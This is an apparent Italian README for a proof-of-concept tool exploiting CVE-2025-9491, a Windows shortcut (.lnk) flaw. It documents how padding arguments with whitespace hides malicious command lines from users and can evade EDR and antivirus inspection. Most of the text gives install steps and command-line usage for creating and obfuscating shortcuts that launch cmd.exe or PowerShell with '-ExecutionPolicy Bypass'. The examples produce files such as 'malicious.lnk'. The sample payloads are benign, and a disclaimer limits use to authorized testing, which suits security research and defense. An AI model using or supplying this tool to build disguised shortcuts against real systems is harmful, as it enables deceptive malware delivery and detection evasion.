
Prova di concetto della CVE-2025-9491 che utilizza caratteri invisibili negli argomenti di un file di collegamento di Windows (.lnk)
Uno strumento proof-of-concept per dimostrare la vulnerabilità dei file di collegamento Windows (LNK) (ZDI-CAN-25373/CVE-2025-9491). Questo strumento mostra come gli argomenti della riga di comando dannosi possono essere nascosti all'interno dei file .lnk sfruttando il riempimento con caratteri di spazio bianco.
Questo strumento è fornito solo per scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato ai sistemi informatici è illegale. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
Questo è uno strumento proof-of-concept per creare e manipolare file .lnk di Windows (collegamenti) per dimostrare la vulnerabilità CVE-2025-9491. Lo strumento consente agli utenti di:
La vulnerabilità sfrutta il modo in cui Windows visualizza le proprietà dei file di collegamento, consentendo agli attaccanti di nascondere argomenti della riga di comando dannosi agli utenti che ispezionano il collegamento.
CVE-2025-9491 è una vulnerabilità di falsa rappresentazione dell'interfaccia utente di Windows che colpisce i file .lnk (collegamenti). È stata scoperta dalla Zero Day Initiative di Trend Micro (ZDI-CAN-25373) ed è stata sfruttata da gruppi APT sponsorizzati dallo stato almeno dal 2017 (controlla i Crediti per ulteriori dettagli a riguardo).
La vulnerabilità sfrutta il campo "Destinazione" di dimensione fissa dell'interfaccia dei collegamenti di Windows. Riempendo gli argomenti con caratteri di spazio bianco (spazio, tabulazione, avanzamento riga, ritorno a capo), un attaccante può: nascondere comandi dannosi ed eseguire payload nascosti. Questo può anche essere usato per eludere il rilevamento, poiché gli utenti che ispezionano il collegamento vedono solo lo spazio bianco di riempimento, non il vero comando; l'EDR avrà una riga di comando estremamente lunga nella telemetria e, se abbastanza lunga, i comuni EPP o AV rinunceranno a leggerla tutta.
È richiesto Python 3.7 o superiore.
Clona o scarica il repository:
git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
cd CVE-2025-9491_POC
Installa le dipendenze:
Quick and dirty way, venv is prefered.
pip install -r requirements.txt
Esegui lo strumento:
python main.py --help
Lo strumento ha tre modalità principali: create, obfuscate e parse.
Crea un nuovo file LNK offuscato da zero.
Sintassi:
python main.py create -t TARGET -a ARGUMENTS -o OUTPUT [options]
Argomenti obbligatori:
-t, --target - Percorso del file eseguibile di destinazione-a, --arguments - Argomenti da passare all'eseguibile di destinazione-o, --output - Destinazione del file LNK di outputArgomenti opzionali:
-c, --charset - Set di caratteri personalizzato per il riempimento (formato HEX)
20,09,0A,0B,0C,0D (spazio, tab, LF, VT, FF, CR)-s, --padding_size - Numero di caratteri di riempimento
128 (nessun limite noto)-p, --pattern_type - Stile del pattern di riempimento
-i, --icon - Percorso dell'icona personalizzata per il collegamento
-d, --description - Descrizione visibile per il collegamento
-v, --verbose - Abilita output dettagliato
Esempio:
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o output.lnk -s 256 -v
Aggiunge riempimento agli argomenti di un file LNK esistente.
Sintassi:
python main.py obfuscate -i INPUT -o OUTPUT [options]
Argomenti obbligatori:
-i, --input - Percorso del file LNK esistente da offuscare-o, --output - Destinazione del file LNK di outputArgomenti opzionali:
-c, --charset - Set di caratteri personalizzato per il riempimento (formato HEX)
20,09,0A,0B,0C,0D-s, --padding_size - Numero di caratteri di riempimento
128-p, --pattern_type - Stile del pattern di riempimento
-v, --verbose - Abilita output dettagliato
Esempio:
python main.py obfuscate -i benign.lnk -o obfuscated.lnk -s 256 -p 3 -v
Mostra il contenuto di un file LNK esistente.
Sintassi:
python main.py parse -i INPUT
Argomenti obbligatori:
-i, --input - Percorso del file LNK da analizzare e visualizzareEsempio:
python main.py parse -i output.lnk
python main.py create \
-t "cmd.exe" \
-a "/c powershell -Command Get-Process" \
-o malicious.lnk \
-s 200 \
-p 1 \
-v
python main.py obfuscate \
-i "legitimate.lnk" \
-o "obfuscated.lnk" \
-s 512 \
-c "20,09,0A" \
-p 2
python main.py parse -i "suspicious.lnk"
python main.py create \
-t "powershell.exe" \
-a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
-o output.lnk \
-c "20,09,0A,0B,0C,0D" \
-s 1024 \
-p 3 \
-d "My Document"